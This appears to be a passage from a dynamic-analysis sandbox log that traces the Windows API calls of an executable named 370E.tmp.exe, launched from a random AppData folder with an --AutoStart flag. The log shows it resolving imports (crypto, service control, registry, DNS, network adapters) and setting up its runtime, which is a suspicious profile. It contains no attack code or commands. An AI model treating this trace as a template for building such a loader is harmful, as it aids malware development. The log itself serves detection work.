[0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="CreateThread") returned 0x764b34d5 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="TlsSetValue") returned 0x764b14fb [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="TlsGetValue") returned 0x764b11e0 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="TlsAlloc") returned 0x764b49ad [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x764b1916 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="SetUnhandledExceptionFilter") returned 0x764b87c9 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="UnhandledExceptionFilter") returned 0x764d772f [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="FreeEnvironmentStringsW") returned 0x764b51cb [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="GetEnvironmentStringsW") returned 0x764b51e3 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentProcessId") returned 0x764b11f8 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="QueryPerformanceCounter") returned 0x764b1725 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="GetStartupInfoW") returned 0x764b4d40 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="DeleteCriticalSection") returned 0x778445f5 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetTimeZoneInformation") returned 0x764b465a [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="RaiseException") returned 0x764b58a6 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetStringTypeW") returned 0x764b1946 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="HeapSize") returned 0x77843002 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="LoadLibraryExW") returned 0x764b495d [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="HeapAlloc") returned 0x7783e026 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetLocaleInfoW") returned 0x764b3c42 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="IsValidLocale") returned 0x764cce46 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetUserDefaultLCID") returned 0x764b3da5 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="EnumSystemLocalesW") returned 0x7653425f [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetDateFormatW") returned 0x764d34d7 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="GetTimeFormatW") returned 0x764cf481 [0102.761] GetProcAddress (hModule=0x764a0000, lpProcName="CompareStringW") returned 0x764b3bca [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="LCMapStringW") returned 0x764b17b9 [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="GetConsoleCP") returned 0x76557bff [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="GetConsoleMode") returned 0x764b1328 [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="HeapReAlloc") returned 0x77851f6e [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="SetStdHandle") returned 0x7653454f [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="SetEndOfFile") returned 0x764cce2e [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="GetStdHandle") returned 0x764b51b3 [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="GetFileType") returned 0x764b3531 [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="GetModuleHandleExW") returned 0x764b4a6f [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="WriteConsoleW") returned 0x764d7aca [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="ReadConsoleW") returned 0x7655739a [0102.762] GetProcAddress (hModule=0x764a0000, lpProcName="OutputDebugStringW") returned 0x764dd1d4 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="SetConsoleCtrlHandler") returned 0x764b8a09 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="RtlUnwind") returned 0x764dd1c3 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="LeaveCriticalSection") returned 0x77832270 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="EnterCriticalSection") returned 0x778322b0 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="AreFileApisANSI") returned 0x765340d1 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="ExitProcess") returned 0x764b7a10 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="GetProcessHeap") returned 0x764b14e9 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentThreadId") returned 0x764b1450 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentThread") returned 0x764b17ec [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="GetCPInfo") returned 0x764b5189 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="HeapFree") returned 0x764b14c9 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="SetEnvironmentVariableA") returned 0x764be331 [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="EncodePointer") returned 0x77850fcb [0102.763] GetProcAddress (hModule=0x764a0000, lpProcName="DecodePointer") returned 0x77849d35 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="GetSystemTimeAsFileTime") returned 0x764b3509 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentProcess") returned 0x764b1809 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="CreateSemaphoreW") returned 0x764cca5a [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="GetOEMCP") returned 0x764dd1a1 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="GetACP") returned 0x764b179c [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="IsValidCodePage") returned 0x764b4493 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="IsProcessorFeaturePresent") returned 0x764b5235 [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="FindNextFileW") returned 0x764b54ee [0102.764] GetProcAddress (hModule=0x764a0000, lpProcName="IsDebuggerPresent") returned 0x764b4a5d [0102.764] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77110000 [0102.764] GetProcAddress (hModule=0x77110000, lpProcName="LoadCursorW") returned 0x771288f7 [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="TranslateMessage") returned 0x77127809 [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="RegisterClassExW") returned 0x7712b17d [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="ShowWindow") returned 0x77130dfb [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="IsWindow") returned 0x77127136 [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="CreateWindowExW") returned 0x77128a29 [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="UpdateWindow") returned 0x77133559 [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="DefWindowProcW") returned 0x778425dd [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="PeekMessageW") returned 0x771305ba [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="PostThreadMessageW") returned 0x77128bff [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="MessageBoxW") returned 0x7717fd3f [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="DispatchMessageW") returned 0x7712787b [0102.765] GetProcAddress (hModule=0x77110000, lpProcName="PostQuitMessage") returned 0x77129abb [0102.766] GetProcAddress (hModule=0x77110000, lpProcName="DestroyWindow") returned 0x77129a55 [0102.766] GetProcAddress (hModule=0x77110000, lpProcName="SendMessageW") returned 0x77129679 [0102.766] GetProcAddress (hModule=0x77110000, lpProcName="GetMessageW") returned 0x771278e2 [0102.766] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76610000 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="CryptGetHashParam") returned 0x7661df7e [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="CryptAcquireContextW") returned 0x7661df14 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="OpenSCManagerW") returned 0x7661ca64 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="OpenServiceW") returned 0x7661ca4c [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="CryptReleaseContext") returned 0x7661e124 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="GetUserNameW") returned 0x7662157a [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="CryptHashData") returned 0x7661df36 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="RegSetValueExW") returned 0x766214d6 [0102.766] GetProcAddress (hModule=0x76610000, lpProcName="RegCloseKey") returned 0x7662469d [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="CryptDestroyHash") returned 0x7661df66 [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="ControlService") returned 0x76637144 [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="RegOpenKeyExW") returned 0x7662468d [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="CryptCreateHash") returned 0x7661df4e [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="CryptEncrypt") returned 0x7663779b [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="CryptImportKey") returned 0x7661c532 [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="QueryServiceStatus") returned 0x76622a86 [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="RegQueryValueExW") returned 0x766246ad [0102.767] GetProcAddress (hModule=0x76610000, lpProcName="CloseServiceHandle") returned 0x7662369c [0102.767] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x754f0000 [0102.770] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetPathFromIDListW") returned 0x755817bf [0102.771] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7557e141 [0102.771] GetProcAddress (hModule=0x754f0000, lpProcName="CommandLineToArgvW") returned 0x75509ee8 [0102.771] GetProcAddress (hModule=0x754f0000, lpProcName="ShellExecuteA") returned 0x75737078 [0102.771] GetProcAddress (hModule=0x754f0000, lpProcName="ShellExecuteExW") returned 0x75511e46 [0102.771] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x762d0000 [0102.771] GetProcAddress (hModule=0x762d0000, lpProcName="CoInitialize") returned 0x762eb636 [0102.771] GetProcAddress (hModule=0x762d0000, lpProcName="CoInitializeSecurity") returned 0x762f7259 [0102.771] GetProcAddress (hModule=0x762d0000, lpProcName="CoUninitialize") returned 0x763186d3 [0102.771] GetProcAddress (hModule=0x762d0000, lpProcName="CoCreateInstance") returned 0x76319d0b [0102.771] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76e90000 [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0xca) returned 0x76e9fd6b [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0x2) returned 0x76e94642 [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0x9) returned 0x76e93eae [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0x8) returned 0x76e93ed5 [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0x6) returned 0x76e93e59 [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0xc8) returned 0x76e93f21 [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0xc) returned 0x76e95dee [0102.772] GetProcAddress (hModule=0x76e90000, lpProcName=0xc9) returned 0x76e94af8 [0102.772] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x752c0000 [0102.788] GetProcAddress (hModule=0x752c0000, lpProcName="GetAdaptersInfo") returned 0x752c9263 [0102.788] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76db0000 [0102.828] GetProcAddress (hModule=0x76db0000, lpProcName=0xc) returned 0x76dbb131 [0102.828] GetProcAddress (hModule=0x76db0000, lpProcName=0xb) returned 0x76db311b [0102.828] GetProcAddress (hModule=0x76db0000, lpProcName=0x34) returned 0x76dc7673 [0102.829] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75260000 [0102.841] GetProcAddress (hModule=0x75260000, lpProcName="DnsQuery_W") returned 0x7527572c [0102.841] GetProcAddress (hModule=0x75260000, lpProcName="DnsFree") returned 0x7526436b [0102.841] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x767a0000 [0102.841] GetProcAddress (hModule=0x767a0000, lpProcName="CryptStringToBinaryA") returned 0x767d5d77 [0102.841] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x751a0000 [0102.861] GetProcAddress (hModule=0x751a0000, lpProcName="atexit") returned 0x751bc544 [0102.861] atexit (param_1=0x63d51f) returned 0 [0102.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f390 | out: lpSystemTimeAsFileTime=0x18f390*(dwLowDateTime=0xf6b94050, dwHighDateTime=0x1d52ab3)) [0102.861] GetCurrentThreadId () returned 0x570 [0102.861] GetCurrentProcessId () returned 0x56c [0102.861] QueryPerformanceCounter (in: lpPerformanceCount=0x18f388 | out: lpPerformanceCount=0x18f388*=6811480728) returned 1 [0102.861] GetStartupInfoW (in: lpStartupInfo=0x18f320 | out: lpStartupInfo=0x18f320*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x764b3519, hStdOutput=0x7782fd35, hStdError=0x77897daf)) [0102.861] GetProcessHeap () returned 0x5e0000 [0102.862] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x764a0000 [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="FlsAlloc") returned 0x764b4f2b [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="FlsFree") returned 0x764b359f [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="FlsGetValue") returned 0x764b1252 [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="FlsSetValue") returned 0x764b4208 [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="InitializeCriticalSectionEx") returned 0x764b4d28 [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="CreateEventExW") returned 0x7653410b [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="CreateSemaphoreExW") returned 0x76534195 [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadStackGuarantee") returned 0x764bd31f [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="CreateThreadpoolTimer") returned 0x764cee7e [0102.862] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadpoolTimer") returned 0x7785441c [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7787c50e [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="CloseThreadpoolTimer") returned 0x7787c381 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="CreateThreadpoolWait") returned 0x764cf088 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="SetThreadpoolWait") returned 0x778605d7 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="CloseThreadpoolWait") returned 0x7787ca24 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="FlushProcessWriteBuffers") returned 0x77830b8c [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x778efde8 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentProcessorNumber") returned 0x77881e1d [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="GetLogicalProcessorInformation") returned 0x76534761 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="CreateSymbolicLinkW") returned 0x7652cd11 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0102.863] GetProcAddress (hModule=0x764a0000, lpProcName="EnumSystemLocalesEx") returned 0x7653424f [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="CompareStringEx") returned 0x765346b1 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetDateFormatEx") returned 0x76546676 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetLocaleInfoEx") returned 0x76534751 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetTimeFormatEx") returned 0x765465f1 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetUserDefaultLocaleName") returned 0x765347c1 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="IsValidLocaleName") returned 0x765347e1 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="LCMapStringEx") returned 0x765347f1 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetCurrentPackageId") returned 0x0 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetTickCount64") returned 0x764ceee0 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0102.864] GetProcAddress (hModule=0x764a0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0102.865] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x68e8f0 [0102.865] GetCurrentThreadId () returned 0x570 [0102.865] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x684c30 [0102.865] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x68ecb8 [0102.865] GetStartupInfoW (in: lpStartupInfo=0x18f2f0 | out: lpStartupInfo=0x18f2f0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x629298aa, hStdError=0x0)) [0102.865] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.865] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0102.865] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.865] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" [0102.865] GetEnvironmentStringsW () returned 0x68f4c0* [0102.865] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb02) returned 0x68ffd0 [0102.865] FreeEnvironmentStringsW (penv=0x68f4c0) returned 1 [0102.865] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0x5d [0102.865] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) returned 0x690ae0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x9c) returned 0x690bc8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x683c90 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x690c70 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x690ce8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x681ee0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x690d60 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x68a6e8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x6863d0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x68a090 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x68e5b0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x690dd0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x681f60 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x68a720 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x68a758 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x68e5d8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x690e28 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x690f08 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x690f90 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x683cd8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x68f4c0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x68a0c0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x68a790 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x68f558 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x686420 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x68f598 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x683d20 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x68f5f8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x68a7c8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x68a0f0 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x68e600 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x68a800 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x68f688 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x68f6e8 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x68a838 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x683d68 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x68f748 [0102.866] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x68a120 [0102.867] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x68a870 [0102.867] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x68f7a8 [0102.867] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x68ffd0 | out: hHeap=0x5e0000) returned 1 [0102.867] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x80) returned 0x68f840 [0102.867] GetLastError () returned 0x0 [0102.867] SetLastError (dwErrCode=0x0) [0102.867] GetLastError () returned 0x0 [0102.999] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x68f8c8 [0102.999] GetLastError () returned 0x0 [0102.999] IsValidCodePage (CodePage=0x4e4) returned 1 [0102.999] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f2e4 | out: lpCPInfo=0x18f2e4) returned 1 [0102.999] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edac | out: lpCPInfo=0x18edac) returned 1 [0102.999] GetLastError () returned 0x0 [0102.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0102.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e8e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0102.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f0c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 